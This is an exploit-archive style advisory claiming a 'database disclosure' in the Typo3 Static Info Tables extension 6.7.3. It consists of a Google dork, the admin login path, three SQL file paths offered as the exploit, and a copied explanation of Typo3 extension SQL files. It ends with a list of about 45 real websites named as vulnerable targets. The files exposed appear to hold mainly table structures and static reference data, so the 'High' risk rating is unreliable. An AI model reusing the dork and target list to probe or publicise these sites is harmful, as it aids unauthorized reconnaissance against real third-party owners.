#################################################################################################

# Exploit Title : Typo3 CMS Static Info Tables Extension 6.7.3 Database
Disclosure

# Exploit Title : Typo3 CMS Static Info Tables Extension 6.7.3 Database
Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 02/01/2019
# Vendor Homepage : typo3.org -
extensions.typo3.org/extension/static_info_tables/
# Software Download Link :
extensions.typo3.org/extension/download/static_info_tables/6.7.3/zip/
+ github.com/lsv/sas/tree/master/typo3conf/ext/static_info_tables
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 6.7.3
# Exploit Risk : High
# Google Dorks : inurl:''/typo3conf/ext/static_info_tables/''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]

#################################################################################################

# Admin Panel Login Path :

/typo3/index.php

# Exploit :

/typo3conf/ext/static_info_tables/ext_tables.sql

/typo3conf/ext/static_info_tables/ext_tables_static+adt.sql

/typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql

#################################################################################################

# Information About Typo3 Database [ ext_tables.sql -
ext_tables_static+adt.sql ] =>
***********************************************************************

The preparation of the database primarily covers the creation of the
database tables.

The commands for the creation are done in SQL.

The code is put into the file ext_tables.sql which itself is located on the
top level of the extension directory.

One of the main purposes of Extbase is to abstract the access of the
underlying persistence solution.

Thus, you normally won't get in touch with native SQL-Queries in day-to-day
development,

especially when you let the kickstarter auto-generate your database table.

The table's name is derived from the Extbase convention which describes
that class names

are written in lowercase retaining the underlines.

The file ext_tables.sql is executed whenever the extension is installed.
Nevertheless,

TYPO3 is smart enough not to overwrite an existing database table. On the
contrary it deduces

the differences between the new and the existing table and just adds those
additional information.

TYPO3 is usually used with the database engine MySQL which additionally

provides the developer with the field types mediumtext and longtext.

ext_tables.sql (optional)
********************

This file contains SQL statements to update or create tables for your
extension in the TYPO3 database.

This file should contain a table structure dump of the tables used by the
extension.

It is used for evaluation of the database structure and is therefore
important to check and update

the database when an extension is enabled. If you add additional fields (or
depend on certain fields)

to existing tables, you can also put them here. In that case, insert a
CREATE TABLE structure

for that table, but remove all lines except the ones defining the fields
you need. The ext_tables.sql

file may not necessarily be dumpable directly to MySQL (because of the
semi-complete

table definitions allowed defining only required fields.). But the EM or

Install Tool can handle this. The only very important thing is that the
syntax of the content

is exactly like MySQL made it so that the parsing and analysis routines of
the EM don't get confused.

ext_tables_static+adt.sql (optional)
*****************************

Static SQL tables and their data. If the extension requires static data you
can dump it into a SQL file of this name.

Example for dumping MySQL data from the shell (assuming you are in the
extension directory):

Shell Script

mysqldump --password=[password] [database name] [tablename]
--add-drop-table > ./ext_tables_static.sql

--add-drop-table adds DROP TABLE statements, so that any data is inserted
into a fresh table.

You can also drop the table content using the EM in the backend.

The table structure of static tables needs to be in the ext_tables.sql file
as well -

otherwise an installed static table will be reported as being in excess in
the EM!

ext_tables_static+adt-orig.sql
********************************

This file is about TYPO3 Extension Manager dump 1.1 and contains this
informations.

# Table structure for table "static_territories"

# Table structure for table "static_countries"

# Table structure for table "static_country_zones"

# Table structure for table "static_currencies"

# Table structure for table "static_languages"

# Table structure for table "static_taxes"

Reference Link [ Summarized By Me ] =>
wiki.typo3.org/Extension_Developers_Guide

#################################################################################################

# Example Vulnerable Sites =>

[+] abs.org/typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql

[+]
lapetitemaisondecucuron.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] gmeinder-lokomotiven.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] soloboadilla.es/typo3conf/ext/static_info_tables/ext_tables.sql

[+] emergegroup.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] devega-praesentationsmappen.de/typo3conf/ext/static_info_tables/

[+] hne.ag/typo3conf/ext/static_info_tables/ext_tables.sql

[+] efka.net/typo3conf/ext/static_info_tables/ext_tables.sql

[+] awmp.ch/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kfz-ueberfuehrungen24.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] dr-myska.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] zimmerei-unas.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] condensat.kz/typo3conf/ext/static_info_tables/ext_tables.sql

[+]
laruecommunityalliance.org/typo3conf/ext/static_info_tables/ext_tables.sql

[+] lippewelle.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+]
oldweb.businesseventsthailand.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] pflege-krankenhaus.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] creation-willigeller.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kolbus.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] terreal.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] zbb.ch/typo3conf/ext/static_info_tables/ext_tables.sql

[+] bexbach.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] maska.si/typo3conf/ext/static_info_tables/ext_tables.sql

[+] carus-it.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kolbus.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] hfu-campus-tuttlingen.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] zugersee-schifffahrt.ch/typo3conf/ext/static_info_tables/ext_tables.sql

[+] umweltprofis.at/typo3conf/ext/static_info_tables/ext_tables.sql

[+] mountaininfo.eu/typo3conf/ext/static_info_tables/ext_tables.sql

[+] e-businessconsulting.it/typo3conf/ext/static_info_tables/ext_tables.sql

[+] ninukot.is/typo3conf/ext/static_info_tables/ext_tables.sql

[+] radosina.sk/typo3conf/ext/static_info_tables/ext_tables.sql

[+] cyfra7.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kupferdreh.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] abs.org/typo3conf/ext/static_info_tables/ext_tables.sql

[+] ki.si/typo3conf/ext/static_info_tables/ext_tables.sql

[+] dataplan.de/t3/typo3conf/ext/static_info_tables/ext_tables.sql

[+] usva.nl/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kanumagazin.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] aegerisee-schifffahrt.ch/typo3conf/ext/static_info_tables/ext_tables.sql

[+] joyce-meyer.nl/typo3conf/ext/static_info_tables/ext_tables.sql

[+] iholdi-oztibarre.com/typo3conf/ext/static_info_tables/ext_tables.sql

[+] bulac.fr/typo3conf/ext/static_info_tables/ext_tables.sql

[+] kolbus.de/typo3conf/ext/static_info_tables/ext_tables.sql

[+] pitpit.eu/typo3conf/ext/static_info_tables//ext_tables_static+adt.sql

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################